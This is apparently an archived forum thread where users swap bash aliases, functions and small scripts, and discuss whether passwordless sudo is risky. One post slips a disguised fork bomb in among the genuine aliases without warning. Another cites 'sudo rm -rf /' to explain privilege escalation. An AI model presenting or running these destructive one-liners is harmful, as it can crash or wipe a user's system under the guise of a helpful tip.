Useful bash aliases/functions/scripts

post your useful bash thingies, i will start with posting mine. I'm pretty sure that it isn't all that optimal but it works for me™

pastebin.com/AECXGmzR

Other urls found in this thread:

pastebin.com/AECXGmzR
github.com/swirepe/alwaysontop
archive.rebeccablacktech.com/g/thread/S54655836
twitter.com/NSFWRedditVideo

>pastebin.com/AECXGmzR
hello hank

For extracting files you can just use 7z x $1

>not anonymizing all your Sup Forums posts
does that work for all file extensions?

Yes

>alias nano='vim'

fucking kek

>kpn.com
ISP spotted?

what font is that OP?

Not bash, but python

#! /usr/bin/python3

import requests

b = requests.get("wtfismyip.com/json").json()
print(b["YourFuckingIPAddress"], b["YourFuckingHostname"])


if anyone can rewrite this in bash online, it would be nice!

Looks like terminus

no idea, just got it from the bash wikipedia page

alias p='pushd' +='pushd .' -='popd' d='dirs -v -l' x='dirs -c'

I never use aliases and rarely use functions. I just use scripts now. For example:

sagi went from 'sudo apt-get update && sudo apt-get install' to a full script that checks to see if the package is already installed, runs autoremove, updates a git repository that all my machines share, etc.

Also github.com/swirepe/alwaysontop isn't bad, but hasn't been updated in years

This seems pretty cool, saved for later

Fucking n00b. I use the following:

>alias nano='emacs -nw'

Could you post some of the more generally useful ones?

Put your favorite one liners in a file named -oh let's say- .rhistory
When you're trying to remember how that one-liner you saved went....
Do a history -r ~/.rhistory
All your one liners are appended to your bash history for easy access.

Hard on my phone, but the few that come to mind are zbell which emails me when as long running command is finished

A wrapper around rsync that does retries.

A wrapper around 'ps aux | grep' that lets me know when a thing is running

Some scripts for automatically pulling the search result with the most seeds from pirate bay and sending it to the torrent server

A thing for opening a folder (and it's subfolders) as a vlc playlist

alias upd='sudo aptitude update'
alias upg='sudo aptitude upgrade'
alias updg='sudo aptitude update ; sudo aptitude upgrade'
alias ins='sudo aptitude install $1'
alias rem='sudo aptitude remove $1'

anyone have the link to the previous thread? there were some good scripts I didn't get to save

archive.rebeccablacktech.com/g/thread/S54655836

dude nice

alias fuck_your_spaces='for f in *\ *; do mv "$f" "${f// /_}"; done'

Seems like a lot of people don't know about the bash fc builtin.
fc -l -10 # list the last 10 lines in bash history.
fc 66 # line 66 opens in $EDITOR. After you edit, save, and close, it runs in terminal.
fc 66 -e gedit # opens line 66 in gedit for editting.

And also, ctrl x e less you write, paste, edit multiple lines in $EDITOR, then run them.

:() { : | :& } ; :

alias rapist='man'

>password for sudo
is there any reason to do this if you make sure you lock your computer whenever you're away from the screen?

did you just post your sindom MOO password?

don't do this, it makes mustard gas

alias build="make CONF=Release clean build"

Viruses/Malware.

I create a bash script that uses "sudo rm -rf /", and somehow infect your system with it.

If I run that script with your user privileges, with passworded sudo the command will fail, or at the very least pop up asking for a password indicating something untoward is going on.

If you have NOPASSWD set, that script will work without any user input, and without requiring a privilege escalation exploit.

tldr: passwordless sudo allows privilege escalation without an exploit.

My dev machine runs sudo with NOPASSWD set, so take it with a grain of salt.